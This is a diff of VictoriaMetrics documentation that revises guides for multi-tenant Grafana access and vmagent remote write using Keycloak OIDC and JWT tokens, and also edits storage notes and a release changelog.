||||
This allows to restrict access to specific tenants without having to create separate datasources in Grafana,
|
||||
or manually managing access at another proxy level.
|
||||
|
||||
### Multi-tenant access for single-node VictoriaMetrics
|
||||
|
||||
To use multi-tenant access with single-node VictoriaMetrics, you can use token claims such as `extra_labels`
|
||||
or `extra_filters` filled dynamically by using the Identity Provider's user information.
|
||||
In order to use multi-tenant access with single-node VictoriaMetrics, you can use token claims such as `extra_labels`
|
||||
or `extra_filters` filled dynamically by using Identity Provider's user information.
|
||||
vmgateway uses those claims and [enhanced Prometheus querying API](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#prometheus-querying-api-enhancements)
|
||||
to provide additional filtering capabilities.
|
||||
|
||||
@@ -169,14 +167,14 @@ This will add the following query args to the proxied request:
|
||||
- `extra_labels=team=dev`
|
||||
- `extra_filters={env=~"aws|gcp",cluster!="production"}`
|
||||
|
||||
With this configuration, VictoriaMetrics will add the following filters to every query: `{team="dev", env=~"aws|gcp", cluster!="production"}`.
|
||||
With this configuration VictoriaMetrics will add the following filters to every query: `{team="dev", env=~"aws|gcp", cluster!="production"}`.
|
||||
So when user will try to query `vm_http_requests_total` query will be transformed to `vm_http_requests_total{team="dev", env=~"aws|gcp", cluster!="production"}`.
|
||||
|
||||
### Token signature verification
|
||||
|
||||
It is also possible to enable [JWT token signature verification](https://docs.victoriametrics.com/victoriametrics/vmgateway/#jwt-signature-verification) at
|
||||
vmgateway.
|
||||
To do this by using the OpenID Connect discovery endpoint, you need to specify the `-auth.oidcDiscoveryEndpoints` flag. For example:
|
||||
To do this by using OpenID Connect discovery endpoint you need to specify the `-auth.oidcDiscoveryEndpoints` flag. For example:
|
||||
|
||||
```sh
|
||||
./bin/vmgateway \
|
||||
@@ -203,7 +201,7 @@ It is also possible to provide the public keys directly via the `-auth.publicKey
|
||||
Create a new Prometheus datasource in Grafana with the following URL `http://<vmgateway>:8431`.
|
||||
URL should point to the vmgateway instance.
|
||||
|
||||
In the "Type and version" section, it is recommended to set the type to "Prometheus" and the version to at least "2.24.x":
|
||||
In the "Type and version" section it is recommended to set the type to "Prometheus" and the version to at least "2.24.x":
|
||||
|
||||

|
||||
|
||||
@@ -216,11 +214,11 @@ Enable `Forward OAuth identity` flag.<br>
|
||||

|
||||
|
||||
Now you can use Grafana to query metrics from the specified tenant.
|
||||
Users with a `vm_access` claim will be able to query metrics from the specified tenant.
|
||||
Users with `vm_access` claim will be able to query metrics from the specified tenant.
|
||||
|
||||
## Test multi-tenant access
|
||||
|
||||
For the test purpose, we will set up the following services as [docker-compose](https://docs.docker.com/compose/) manifest:
|
||||
For the test purpose we will setup the following services as [docker-compose](https://docs.docker.com/compose/) manifest:
|
||||
- Grafana
|
||||
- Keycloak
|
||||
- vmagent to generate test metrics
|
||||
@@ -313,7 +311,7 @@ volumes:
|
||||
grafana_data:
|
||||
```
|
||||
|
||||
For the test purpose, vmagent will be configured to scrape metrics from the following targets(`scrape.yaml` contents):
|
||||
For the test purpose vmagent will be configured to scrape metrics from the following targets(`scrape.yaml` contents):
|
||||
|
||||
```yaml
|
||||
scrape_configs:
|
||||
@@ -343,27 +341,27 @@ Grafana datasources configuration will be the following:
|
||||
|
||||

|
||||
|
||||
Let's log in as a user with `team=dev` labels limitation set via claims.
|
||||
Let's login as user with `team=dev` labels limitation set via claims.
|
||||
|
||||
Using `vmgateway-cluster` results in `No data` response as the proxied request will go to tenant `0:1`.
|
||||
Since vmagent is configured to write only to `0:0`, the `No data` response is expected.
|
||||
Using `vmgateway-cluster` results into `No data` response as proxied request will go to tenant `0:1`.
|
||||
Since vmagent is only configured to write to `0:0` `No data` is an expected response.
|
||||
|
||||

|
||||
|
||||
Switching to `vmgateway-single` does have data. Note that it is limited to metrics with the `team=dev` label.
|
||||
Switching to `vmgateway-single` does have data. Note that it is limited to metrics with `team=dev` label.
|
||||
|
||||

|
||||
|
||||
Now let's log in as a user with `team=admin`.
|
||||
Now lets login as user with `team=admin`.
|
||||
|
||||
Both cluster and single-node datasources now return metrics for `team=admin`.
|
||||
Both cluster and single node datasources now return metrics for `team=admin`.
|
||||
|
||||

|
||||

|
||||
|
||||
## Using OAuth for remote write with vmagent
|
||||
## Using oAuth for remote write with vmagent
|
||||
|
||||
vmagent can be configured to use OAuth for remote write. This adds authentication to write requests.
|
||||
vmagent can be configured to use oAuth for remote write. This is in order to add authentication to the write requests.
|
||||
|
||||
In order to create a client for vmagent to use, follow the steps below:
|
||||
|
||||
@@ -377,7 +375,7 @@ In order to create a client for vmagent to use, follow the steps below:
|
||||
Enable `Authorization`.<br>
|
||||

|
||||
Click `Next`.<br>
|
||||
1. Leave the URLs section empty, as vmagent will not use any.
|
||||
1. Leave URLs section empty as vmagent will not use any.
|
||||

|
||||
Click `Save`.<br>
|
||||
1. Go to `Clients` -> `vmagent` -> `Credentials`.<br>
|
||||
@@ -398,12 +396,12 @@ In order to create a client for vmagent to use, follow the steps below:
|
||||
Click `Save`.<br>
|
||||
1. Go to `Service account roles` -> click on `service-account-vmagent`.<br>
|
||||

|
||||
1. Go to the `Attributes` tab and add an attribute.
|
||||
1. Go to `Attributes` tab and add an attribute.
|
||||
Change `vm_access` attribute value to `{"tenant_id" : {"account_id": 0, "project_id": 0 }}`. <br>
|
||||

|
||||
Click `Save`.
|
||||
|
||||
Once the iDP configuration is done, the vmagent configuration needs to be updated to use OAuth for remote write:
|
||||
Once iDP configuration is done, vmagent configuration needs to be updated to use oAuth for remote write:
|
||||
|
||||
```yaml
|
||||
vmagent:
|
||||
@@ -421,8 +419,7 @@ Once the iDP configuration is done, the vmagent configuration needs to be update
|
||||
- -remoteWrite.oauth2.scopes=openid
|
||||
```
|
||||
|
||||
It is required to replace `{CLIENT_ID}` with the client ID and provide the client secret in the `vmagent-client-secret` file.
|
||||
It is required to replace `{CLIENT_ID}` with the client ID and provide the client secret in `vmagent-client-secret` file.
|
||||
Note that vmagent will use the same token for both single-node and cluster vmgateway. vmgateway running in cluster mode
|
||||
will use the tenant information from the token to route the request to the correct tenant. vmgateway running in single-node mode
|
||||
will use tenant information from the token to route the request to the correct tenant. vmgateway running in single-node mode
|
||||
will just verify token validity.
|
||||
|
||||
|
||||
@@ -1,7 +1,10 @@
|
||||
---
|
||||
weight: 16
|
||||
weight: 5
|
||||
title: Setup vmgateway - Multi-Tenant Access with Grafana & OIDC
|
||||
menu: false
|
||||
menu:
|
||||
docs:
|
||||
parent: guides
|
||||
weight: 5
|
||||
tags:
|
||||
- metrics
|
||||
- guide
|
||||
|
||||
@@ -1,277 +0,0 @@
|
||||
Using [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) with [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/) and OAuth authentication{{% available_from "v1.138.0" %}} enables secure metric ingestion in multi-tenant environments, where vmagent authenticates to vmauth using [JWT tokens](https://en.wikipedia.org/wiki/JSON_Web_Token) issued by an external identity provider. These tokens include tenant information so that metrics are written to the correct tenant.
|
||||
|
||||
This guide walks through configuring vmagent to ingest metrics through vmauth with OIDC authorization enabled.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
* [Docker](https://docs.docker.com/engine/install/) and [docker compose](https://docs.docker.com/compose/) must be installed.
|
||||
* [jq tool](https://jqlang.org/)
|
||||
* Add the `keycloak` host to the `/etc/hosts` file pointing to `127.0.0.1`.
|
||||
|
||||
```
|
||||
# /etc/hosts
|
||||
|
||||
# Setup vmagent - Multi-Tenant remote write & OIDC
|
||||
# https://docs.victoriametrics.com/guides/vmagent-openid-configuration/#prerequisites
|
||||
127.0.0.1 keycloak
|
||||
```
|
||||
|
||||
## Identity provider
|
||||
|
||||
The identity service must be able to issue JWT tokens with the following `vm_access` claim:
|
||||
|
||||
```json
|
||||
{
|
||||
"exp": 1772019469,
|
||||
"vm_access": {
|
||||
"metrics_account_id": 0,
|
||||
"metrics_project_id": 0
|
||||
}
|
||||
}
|
||||
```
|
||||
> Note: if `metrics_account_id` or `metrics_project_id` are not specified, the default value `0` is used.
|
||||
|
||||
Some identity providers only support string-based claim values; vmauth supports those as well:
|
||||
```json
|
||||
{
|
||||
"exp": 1772019469,
|
||||
"vm_access": "{\"metrics_account_id\": 0, \"metrics_project_id\": 0}"
|
||||
}
|
||||
```
|
||||
|
||||
See details about all supported options in the [vmauth documentation](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy).
|
||||
|
||||
### Setup Keycloak
|
||||
|
||||
[Keycloak](https://www.keycloak.org/) is an open-source identity service that can issue JWT tokens.
|
||||
|
||||
Add the following section to your `compose.yaml` file to configure Keycloak:
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
keycloak:
|
||||
image: quay.io/keycloak/keycloak:26.3
|
||||
command:
|
||||
- start-dev
|
||||
- --http-port=3001
|
||||
ports:
|
||||
- 127.0.0.1:3001:3001
|
||||
environment:
|
||||
KC_HOSTNAME_BACKCHANNEL_DYNAMIC: "true"
|
||||
KC_HOSTNAME: http://keycloak:3001/
|
||||
KC_BOOTSTRAP_ADMIN_USERNAME: admin
|
||||
KC_BOOTSTRAP_ADMIN_PASSWORD: change_me
|
||||
volumes:
|
||||
- keycloakdata:/opt/keycloak/data
|
||||
|
||||
volumes:
|
||||
keycloakdata: {}
|
||||
```
|
||||
|
||||
Run `docker compose up` to start Keycloak.
|
||||
|
||||
Once Keycloak is available at `http://keycloak:3001`, follow the steps below to configure the OIDC client for vmagent:
|
||||
|
||||
### Create client
|
||||
|
||||
1. Log in with admin credentials to your Keycloak instance
|
||||
- Username: `admin`
|
||||
- Password: `change_me`
|
||||
1. Go to `Clients` -> `Create client`.
|
||||
- Use `OpenID Connect` as `Client Type`.
|
||||
- Specify `vmagent` as `Client ID`.
|
||||
- Click `Next`.
|
||||

|
||||
1. Enable `Client authentication`.
|
||||
- Enable `Authorization`.
|
||||

|
||||
- Click `Next`.
|
||||
1. Leave the URLs section empty as vmagent does not require any URLs.
|
||||

|
||||
- Click `Save`.
|
||||
1. Go to `Clients` -> `vmagent` -> `Credentials`.
|
||||

|
||||
- Copy the value of `Client secret`. It will be used later in vmagent configuration.
|
||||
1. Go to `Clients` -> `vmagent` -> `Client scopes`.
|
||||

|
||||
- Click on `vmagent-dedicated` -> `Configure a new mapper` -> `User attribute`.
|
||||

|
||||
1. Configure the mapper as follows:
|
||||
- `Name` as `vm_access`.
|
||||
- `User Attribute` as `vm_access`.
|
||||
- `Token Claim Name` as `vm_access`.
|
||||
- `Claim JSON Type` as `JSON`.
|
||||
- Enable `Add to ID token` and `Add to access token`.
|
||||
|
||||

|
||||
- Click `Save`.
|
||||
|
||||
### Create User Attributes
|
||||
|
||||
1. Go to `Realm settings` -> `User profile`.
|
||||
- Click `Create attribute`.
|
||||
- Specify `vm_access` as `Attribute [Name]`.
|
||||

|
||||
- Click `Create`.
|
||||
|
||||
### Configure service account
|
||||
|
||||
1. Go to `Client` -> `vmagent` -> `Service account roles` -> click on `service-account-vmagent`.
|
||||

|
||||
1. Set the `vm_access` attribute value to `{"metrics_account_id": 0, "metrics_project_id": 0}`.
|
||||

|
||||
- Click `Save`.
|
||||
|
||||
### Test identity provider
|
||||
|
||||
Start the service:
|
||||
```sh
|
||||
docker compose up
|
||||
```
|
||||
|
||||
Verify the setup by requesting a token with `curl`:
|
||||
|
||||
```sh
|
||||
TOKEN=$(curl -s -X POST "http://keycloak:3001/realms/master/protocol/openid-connect/token" \
|
||||
-H "Content-Type: application/x-www-form-urlencoded" \
|
||||
-d "client_id=vmagent" \
|
||||
-d "client_secret={CLIENT_SECRET}" \
|
||||
-d "grant_type=client_credentials" \
|
||||
| jq -r '.access_token') && echo "$TOKEN"
|
||||
```
|
||||
|
||||
The response should contain a valid JWT token with the `vm_access` claim.
|
||||
Use [jwt.io](https://jwt.io/) to decode and inspect the token.
|
||||
|
||||
## VictoriaMetrics
|
||||
|
||||
### Setup storage
|
||||
|
||||
Add the VictoriaMetrics cluster components to the `compose.yaml` file.
|
||||
These services will store and query the metrics scraped by vmagent.
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
vmstorage:
|
||||
image: victoriametrics/vmstorage:v1.138.0-cluster
|
||||
|
||||
vminsert:
|
||||
image: victoriametrics/vminsert:v1.138.0-cluster
|
||||
command:
|
||||
- -storageNode=vmstorage:8400
|
||||
|
||||
vmselect:
|
||||
image: victoriametrics/vmselect:v1.138.0-cluster
|
||||
command:
|
||||
- -storageNode=vmstorage:8401
|
||||
ports:
|
||||
- 8481:8481
|
||||
```
|
||||
|
||||
### Setup vmauth
|
||||
|
||||
Create a vmauth configuration file `vm-auth.yaml` that enables OIDC authorization using the identity provider.
|
||||
|
||||
The `{{.MetricsTenant}}` is expanded by vmauth into `accountID:projectID` derived from the vm_access claim, and defaults to `0:0` if not set.
|
||||
|
||||
```yaml
|
||||
# vm-auth.yaml
|
||||
|
||||
users:
|
||||
- jwt:
|
||||
oidc:
|
||||
issuer: 'http://keycloak:3001/realms/master'
|
||||
url_map:
|
||||
- src_paths:
|
||||
- "/insert/.*"
|
||||
drop_src_path_prefix_parts: 1
|
||||
url_prefix: "http://vminsert:8480/insert/{{.MetricsTenant}}/prometheus/"
|
||||
```
|
||||
|
||||
Add the vmauth service to `compose.yaml`:
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
vmauth:
|
||||
image: victoriametrics/vmauth:v1.138.0-enterprise
|
||||
ports:
|
||||
- 8427:8427
|
||||
volumes:
|
||||
- ./vm-auth.yaml:/etc/config.yaml
|
||||
command:
|
||||
- -auth.config=/etc/config.yaml
|
||||
```
|
||||
|
||||
### Test vmauth
|
||||
|
||||
Start the services:
|
||||
|
||||
```sh
|
||||
docker compose up
|
||||
```
|
||||
|
||||
Use the token obtained in the [Test identity provider](https://docs.victoriametrics.com/guides/vmagent-openid-configuration/#test-identity-provider) section to test the vmauth configuration.
|
||||
|
||||
```sh
|
||||
curl http://localhost:8427/insert/api/v1/write -H "Authorization: Bearer ${TOKEN}" -i
|
||||
# Output
|
||||
# HTTP/1.1 204 No Content
|
||||
# ...
|
||||
```
|
||||
|
||||
## Vmagent
|
||||
|
||||
### Setup
|
||||
|
||||
First, create a demo `scrape.yaml` file with basic scrape targets:
|
||||
|
||||
```yaml
|
||||
# scrape.yaml
|
||||
scrape_configs:
|
||||
- job_name: stat
|
||||
static_configs:
|
||||
- targets:
|
||||
- vmagent:8429
|
||||
- vmauth:8427
|
||||
```
|
||||
|
||||
Now we'll configure vmagent to authenticate to vmauth using OAuth2 client credentials flow.
|
||||
The vmagent service automatically obtains and refreshes JWT tokens from the identity provider and includes them in the `Authorization` header when sending metrics to vmauth.
|
||||
This enables secure metric ingestion with proper tenant isolation based on the claims in the JWT token.
|
||||
|
||||
We'll use the `vmagent` client that was created in the [Create client](https://docs.victoriametrics.com/guides/vmagent-openid-configuration/#create-client) section.
|
||||
The client secret obtained from that step will be used to authenticate vmagent with Keycloak.
|
||||
|
||||
Add the vmagent service to `compose.yaml` with OAuth2 configuration:
|
||||
|
||||
```yaml
|
||||
# compose.yaml
|
||||
services:
|
||||
vmagent:
|
||||
image: victoriametrics/vmagent:v1.138.0
|
||||
volumes:
|
||||
- ./scrape.yaml:/etc/vmagent/config.yaml
|
||||
command:
|
||||
- -promscrape.config=/etc/vmagent/config.yaml
|
||||
- -remoteWrite.url=http://vmauth:8427/insert/api/v1/write
|
||||
- -remoteWrite.oauth2.clientID=vmagent
|
||||
# This flag is used for demo purposes. In production, use -remoteWrite.oauth2.clientSecretFile instead to avoid exposing the secret in the command line/process list
|
||||
- -remoteWrite.oauth2.clientSecret={CLIENT_SECRET}
|
||||
- -remoteWrite.oauth2.tokenUrl=http://keycloak:3001/realms/master/protocol/openid-connect/token
|
||||
- -remoteWrite.oauth2.scopes=openid
|
||||
```
|
||||
|
||||
Use the client secret obtained in the [Create client](https://docs.victoriametrics.com/guides/vmagent-openid-configuration/#create-client) section.
|
||||
|
||||
### Test metrics
|
||||
|
||||
Go to `http://localhost:8481/select/0/vmui/` and query the `vm_app_version` metric. If the metric is present, then everything is working as expected.
|
||||
|
||||
## Summary
|
||||
|
||||
This guide showed how to configure vmagent to ingest metrics into a VictoriaMetrics cluster through vmauth using OIDC authentication.
|
||||
Vmagent uses the OAuth2 client credentials flow to obtain JWT tokens from Keycloak, which vmauth validates and uses to route requests to the correct tenant.
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
---
|
||||
weight: 5
|
||||
title: Setup vmagent - Multi-Tenant remote write & OIDC
|
||||
menu:
|
||||
docs:
|
||||
parent: guides
|
||||
weight: 5
|
||||
tags:
|
||||
- metrics
|
||||
- guide
|
||||
---
|
||||
{{% content "README.md" %}}
|
||||
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 14 KiB |
|
Before Width: | Height: | Size: 19 KiB |
|
Before Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 17 KiB |
|
Before Width: | Height: | Size: 25 KiB |
|
Before Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 25 KiB |
@@ -581,7 +581,7 @@ who relied on the observability provided by Heroic. Here are some quotes from th
|
||||
|
||||
> I'm loving the new Grafana. Feels faster and more up-to-date on features.
|
||||
|
||||
> This graph is the most beautiful thing I've seen in a long while. It's been literally years since I've seen something like that!
|
||||
> This graph is the most beatiful thing I've seen in a long while. It's been literally years since I've seen something like that!
|
||||
|
||||
Migration results:
|
||||
|
||||
|
||||
@@ -1390,26 +1390,23 @@ The newly added `part` is atomically registered in the `parts.json` file under t
|
||||
after it is fully written and [fsynced](https://man7.org/linux/man-pages/man2/fsync.2.html) to the storage.
|
||||
Thanks to this algorithm, storage never contains partially created parts, even if hardware power off
|
||||
occurs in the middle of writing the `part` to disk - such incompletely written `parts`
|
||||
are automatically deleted on the next VictoriaMetrics start.
|
||||
are automatically deleted on the next VictoriaMetrics start.
|
||||
|
||||
The same applies to merge process — `parts` are either fully merged into a new `part` or fail to merge,
|
||||
leaving the source `parts` untouched.
|
||||
|
||||
Hardware issues may cause data already stored on disk to become corrupted, regardless of the VictoriaMetrics process.
|
||||
VictoriaMetrics can detect corruption during reading, decompressing, decoding or sanity checking of the data blocks.
|
||||
Process will intentionally panic when this happens, so human operator can detect corruption as fast as possible.
|
||||
|
||||
> VictoriaMetrics cannot fix the corrupted data parts on its own.
|
||||
> Data parts that fail to load on startup or during reads need to be deleted or restored from backups.
|
||||
> It is recommended performing [regular backups](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#backups).
|
||||
leaving the source `parts` untouched. However, due to hardware issues data on disk may be corrupted regardless of
|
||||
VictoriaMetrics process. VictoriaMetrics can detect corruption during decompressing, decoding or sanity checking
|
||||
of the data blocks. But **it cannot fix the corrupted data**. Data parts that fail to load on startup need to be deleted
|
||||
or restored from backups. This is why it is recommended performing
|
||||
[regular backups](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/#backups).
|
||||
|
||||
VictoriaMetrics doesn't use checksums for stored data blocks. See why in this [GitHub Issue](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/3011).
|
||||
|
||||
VictoriaMetrics does not merge parts if their combined size exceeds the available free disk space. This behavior
|
||||
protects against potential "out of disk space" errors during merges. If there is not enough free disk space to perform merges,
|
||||
the number of parts may increase significantly over time. This increases query overhead, because VictoriaMetrics must
|
||||
read data from a larger number of parts for each request.
|
||||
|
||||
> It is recommended to keep at least 20% of disk space free in the directory specified by the `-storageDataPath` command-line flag.
|
||||
VictoriaMetrics doesn't merge parts if their summary size exceeds free disk space.
|
||||
This prevents from potential out of disk space errors during merge.
|
||||
The number of parts may significantly increase over time under free disk space shortage.
|
||||
This increases overhead during data querying, since VictoriaMetrics needs to read data from
|
||||
bigger number of parts per each request. That's why it is recommended to have at least 20%
|
||||
of free disk space under directory pointed by `-storageDataPath` command-line flag.
|
||||
|
||||
Information about merging process is available in [the dashboard for single-node VictoriaMetrics](https://grafana.com/grafana/dashboards/10229)
|
||||
and [the dashboard for VictoriaMetrics cluster](https://grafana.com/grafana/dashboards/11176).
|
||||
|
||||
@@ -26,14 +26,8 @@ See also [LTS releases](https://docs.victoriametrics.com/victoriametrics/lts-rel
|
||||
|
||||
## tip
|
||||
|
||||
* FEATURE: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): show `seriesCountByMetricName` table when a label is in focus in the [Cardinality Explorer](https://docs.victoriametrics.com/victoriametrics/#cardinality-explorer). See [#10630](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10630). Thanks to @Roshan1299 for the contribution.
|
||||
* FEATURE: [dashboards/unused-metrics](https://github.com/VictoriaMetrics/VictoriaMetrics/blob/master/dashboards/unused-metrics.json): add a new dashboard for exploring stored metrics based on [Caridnality Explorer](https://docs.victoriametrics.com/victoriametrics/#cardinality-explorer) and [ingested metrics usage API](https://docs.victoriametrics.com/victoriametrics/#track-ingested-metrics-usage). The dashboard requires [Infinity Grafana plugin](https://grafana.com/grafana/plugins/yesoreyeram-infinity-datasource/) to be installed. See [#10617](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10617) for details.
|
||||
|
||||
## [v1.138.0](https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.138.0)
|
||||
|
||||
Released at 2026-03-13
|
||||
|
||||
* SECURITY: upgrade Go builder from Go1.26.0 to Go1.26.1. See [the list of issues addressed in Go1.26.1](https://github.com/golang/go/issues?q=milestone%3AGo1.26.1%20label%3ACherryPickApproved).
|
||||
* SECURITY: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): sanitize JSONP callback parameter in [Graphite API](https://docs.victoriametrics.com/victoriametrics/integrations/graphite/) endpoints to prevent XSS via callback injection. See [#10627](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10627).
|
||||
|
||||
* FEATURE: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/): add `headers` field to `oauth2` scrape config for passing custom HTTP headers to `token_url`. Some services require different headers for the token endpoint and the scrape targets. See [#8939](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/8939).
|
||||
* FEATURE: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): add [OIDC Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) support for JWT authentication. `vmauth` can now automatically fetch and rotate public keys from an OpenID Connect provider, eliminating the need to specify public keys manually. See [OIDC Discovery](https://docs.victoriametrics.com/victoriametrics/vmauth/#oidc-discovery) docs. See [#10585](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10585).
|
||||
@@ -44,12 +38,10 @@ Released at 2026-03-13
|
||||
* FEATURE: [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) and `vmselect` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): Disable `/graphite/tags/tagSeries` and `/graphite/tags/tagMultiSeries` for Graphite tag registration since it is unlikely it is used in context of VictoriaMetrics. See [10544](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10544).
|
||||
* FEATURE: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): rename debug tools buttons for clarity. See [#10453](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10453).
|
||||
|
||||
* BUGFIX: all VictoriaMetrics components: replace `histogram` with `untyped` metric metadata type for [VictoriaMetrics histograms](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#histogram) when `-metrics.exposeMetadata` is set. See [#82](https://github.com/VictoriaMetrics/metrics/issues/82).
|
||||
* BUGFIX: [vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/): properly route requests to `default_url`. Previously, `request_path` query arg could be set incorrectly during concurrent requests. See [#10626](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10626).
|
||||
* BUGFIX: [vmui](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#vmui): use `increase_pure` instead of `rate` for histogram heatmaps in Explore Metrics to correctly display the first observation in each new bucket. See [#10365](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10365). Thanks to @ab0utbla-k for the contribution.
|
||||
* BUGFIX: [dashboards/vmauth](https://grafana.com/grafana/dashboards/21394): fix `requested from system` and `heap inuse` expressions in the memory usage panel. See [#10574](https://github.com/VictoriaMetrics/VictoriaMetrics/pull/10574).
|
||||
* BUGFIX: [vmbackup](https://docs.victoriametrics.com/vmbackup/), [vmbackupmanager](https://docs.victoriametrics.com/victoriametrics/vmbackupmanager/): do not enable ACL when uploading backups to S3-compatible endpoints by default. ACL is not always supported by S3-compatible endpoints and it is not recommended to use ACLs to limit access to objects. See [#10539](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10539) for more details.
|
||||
* BUGFIX: [vmbackupmanager](https://docs.victoriametrics.com/victoriametrics/vmbackupmanager/): overwrite s3 object metadata while syncing latest backups with other backup types. See [#10639](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10639).
|
||||
* BUGFIX: [vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/), [vmsingle](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/), `vminsert` and `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): properly attach `host` label to the time series ingested via [/datadog/api/beta/sketches](https://docs.victoriametrics.com/victoriametrics/integrations/datadog/#) API. See [#10557](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10557).
|
||||
* BUGFIX: `vmstorage` in [VictoriaMetrics cluster](https://docs.victoriametrics.com/victoriametrics/cluster-victoriametrics/): fix inaccurate `vm_filestream_write_duration_seconds_total` due to duplicate counting . After the fix, `vm_filestream_write_duration_seconds_total` will track the duration spent on calling the `write(2)` system call properly. See [#10564](https://github.com/VictoriaMetrics/VictoriaMetrics/issues/10564).
|
||||
|
||||
|
||||
@@ -58,15 +58,3 @@ Once connected, you can build graphs and dashboards using [PromQL](https://prome
|
||||
|
||||
_Creating a datasource may require [specific permissions](https://grafana.com/docs/grafana/latest/administration/data-source-management/).
|
||||
If you don't see an option to create a data source - try contacting system administrator._
|
||||
|
||||
## Multi-tenant access with vmauth and OIDC
|
||||
|
||||
[vmauth](https://docs.victoriametrics.com/victoriametrics/vmauth/) can proxy Grafana datasource requests and enforce
|
||||
per-user multi-tenant access using [JWT tokens](https://en.wikipedia.org/wiki/JSON_Web_Token) {{% available_from "v1.138.0" %}} from an OIDC provider.
|
||||
|
||||
When Grafana is configured with OAuth, enable `Forward OAuth identity` on the datasource so Grafana forwards the user's
|
||||
JWT to vmauth with each query. vmauth validates the token and uses the `vm_access` claim to route requests to the
|
||||
correct tenant or apply label filters — users only see metrics belonging to their tenant.
|
||||
|
||||
See the full walkthrough in the guide [Multi-Tenant Access with Grafana & OIDC](https://docs.victoriametrics.com/guides/grafana-vmauth-openid-configuration/)
|
||||
and [JWT token auth proxy](https://docs.victoriametrics.com/victoriametrics/vmauth/#jwt-token-auth-proxy).
|
||||
|
||||
@@ -11,7 +11,7 @@ can aggregate incoming [samples](https://docs.victoriametrics.com/victoriametric
|
||||
(or local storage for single-node VictoriaMetrics).
|
||||
The aggregation is applied to all the metrics received via any [supported data ingestion protocol](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#how-to-import-time-series-data)
|
||||
and/or scraped from [Prometheus-compatible targets](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#how-to-scrape-prometheus-exporters-such-as-node-exporter),
|
||||
and allows building [flexible processing pipelines](#routing).
|
||||
and allows building [flexible processing pipelines](#routing).
|
||||
|
||||
> By default, stream aggregation ignores timestamps associated with the input [samples](https://docs.victoriametrics.com/victoriametrics/keyconcepts/#raw-samples). It expects that the ingested samples have timestamps close to the current time. See [how to ignore old samples](#ignoring-old-samples).
|
||||
|
||||
@@ -326,10 +326,10 @@ See also [histograms over input metrics](#histograms-over-input-metrics) and [qu
|
||||
# Routing
|
||||
|
||||
[Single-node VictoriaMetrics](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/) supports relabeling,
|
||||
deduplication and stream aggregation for all the received data, scraped or pushed.
|
||||
deduplication and stream aggregation for all the received data, scraped or pushed.
|
||||
The processed data is then stored in local storage and **can't be forwarded further**.
|
||||
|
||||
[vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) supports relabeling, deduplication and stream aggregation for all
|
||||
[vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) supports relabeling, deduplication and stream aggregation for all
|
||||
the received data, scraped or pushed. See the [processing order for vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/#life-of-a-sample).
|
||||
|
||||
Typical scenarios for data routing with `vmagent`:
|
||||
@@ -345,7 +345,7 @@ Typical scenarios for data routing with `vmagent`:
|
||||
[vmagent](https://docs.victoriametrics.com/victoriametrics/vmagent/) supports online [de-duplication](https://docs.victoriametrics.com/victoriametrics/single-server-victoriametrics/#deduplication) of samples
|
||||
before sending them to the configured `-remoteWrite.url`. The de-duplication can be enabled via the following options:
|
||||
|
||||
- By specifying the desired de-duplication interval via `-streamAggr.dedupInterval` command-line flag for all received data
|
||||
- By specifying the desired de-duplication interval via `-streamAggr.dedupInterval` command-line flag for all received data
|
||||
or via `-remoteWrite.streamAggr.dedupInterval` command-line flag for the particular `-remoteWrite.url` destination.
|
||||
For example, `./vmagent -remoteWrite.url=http://remote-storage/api/v1/write -remoteWrite.streamAggr.dedupInterval=30s` instructs `vmagent` to leave
|
||||
